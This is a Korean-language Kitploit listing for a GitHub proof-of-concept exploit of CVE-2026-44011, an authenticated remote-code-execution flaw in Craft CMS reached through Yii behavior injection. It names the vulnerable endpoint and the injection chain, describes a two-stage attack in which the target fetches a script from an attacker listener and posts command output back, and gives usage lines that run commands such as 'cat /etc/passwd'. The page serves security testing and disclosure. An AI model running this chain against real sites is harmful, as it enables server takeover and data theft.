Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44011-poc — CVE-2026-44011에 대한 Python 개념 증명 익스플로잇으로, Yii 동작 주입을 통한 Craft CMS의 인증된 RCE이며, 2단계 명령 출력 캡처를 지원합니다. | Kitploit
도구/GitHubGitHub/khush-613/cve-2026-44011-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubkhush-613/cve-2026-44011-poc

CVE-2026-44011-poc

CVE-2026-44011에 대한 Python 개념 증명 익스플로잇으로, Yii 동작 주입을 통한 Craft CMS의 인증된 RCE이며, 2단계 명령 출력 캡처를 지원합니다.

저장소 보기
115923일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44011

Yii behavior 주입을 통한 Craft CMS의 인증된 RCE.

영향받는 버전: 4.0.0–4.17.11, 5.0.0–5.9.17
수정된 버전: 4.17.12, 5.9.18
권고문: GHSA-qrgm-p9w5-rrfw

취약점

/admin/actions/element-search/search 엔드포인트는 condition 파라미터를 받아들이며, 이는 Component::cleanseConfig()가 먼저 호출되지 않은 채 ElementCondition::createCondition()으로 직접 전달됩니다. 이는 FieldLayout 객체가 요청 데이터로부터 생성될 때 Yii의 특수 객체 생성 키 — __class, as <name> (behavior 연결), on <event> (핸들러 등록) — 가 적용된다는 것을 의미합니다.

이 익스플로잇은 Psy\Readline\Hoa\ConsoleProcessus::execute() (셸 명령을 실행하는 PSY/Yii 내부 함수)를 typecast 콜러블로 호출하도록 구성된 AttributeTypecastBehavior를 연결합니다. 이 behavior는 Craft가 동일한 요청 중에 트리거하는 beforeSave 이벤트에서 실행됩니다.

낮은 권한의 편집자를 포함한 모든 계정이 이를 수행할 수 있습니다. 관리자 권한은 필요하지 않습니다.

이 익스플로잇의 작동 방식

블라인드 리버스 셸 대신, 2단계 출력 캡처를 사용합니다:

  1. 1단계 — 사용자가 제어하는 로컬 HTTP 리스너에서 셸 스크립트를 가져오는 curl 명령을 주입합니다
  2. 2단계 — 해당 스크립트를 실행하는 두 번째 명령을 주입합니다. 스크립트는 출력을 사용자의 리스너로 다시 POST합니다

터미널에서 직접 명령 출력을 확인할 수 있으며, nc 리스너가 필요하지 않습니다.

요구 사항

  • Python 3.8+
  • requests 라이브러리 (pip install requests)
  • 대상이 사용자의 머신에 접근할 수 있어야 함 (콜백용)
  • 모든 Craft CMS 계정의 유효한 자격 증명

사용법

# 기본 — 대상에서 id 실행
python3 exploit.py \
  -b http://target.com \
  -u [email protected] \
  -p 'password123' \
  -c 'id'

# 사용자 지정 제어판 경로
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'

# 추론할 수 없을 때 콜백 주소 지정
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
  -H 10.10.14.5 --listen-port 8080

# TLS 검증 건너뛰기 (자체 서명 인증서)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify

# 버전 확인 건너뛰기 (예: 버전 감지 실패)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force

콜백 호스트/포트는 대상이 출력을 사용자에게 다시 POST하는 곳입니다. 기본적으로 호스트는 대상으로 가는 경로에서 추론되며 포트는 OS가 할당합니다. 대상이 NAT 또는 VPN 뒤에 있는 경우, 접근 가능한 IP를 가리키는 --callback-host가 필요합니다.

옵션

-b / --base-url       대상 오리진 (필수)
-P / --cp-path        제어판 경로 (기본값: /admin)
-u / --username       로그인 이름 또는 이메일 (필수)
-p / --password       비밀번호 (필수)
-c / --command        실행할 셸 명령 (필수)
-s / --site-id        Craft 사이트 ID (기본값: 1)
-e / --element-type   조건에 사용할 요소 유형 (기본값: craft\elements\Category)
-t / --timeout        요청 타임아웃(초) (기본값: 15)
-H / --callback-host  출력 콜백을 위한 접근 가능한 주소
     --listen-port    출력 리스너 포트 (기본값: OS가 선택)
     --no-verify      TLS 인증서 검증 건너뛰기
-F / --force          버전 범위 확인 건너뛰기

테스트 환경

  • Craft CMS 5.9.8, Ubuntu 22.04

면책 조항

승인된 보안 테스트 및 연구 목적으로만 사용하십시오.

도구 다운로드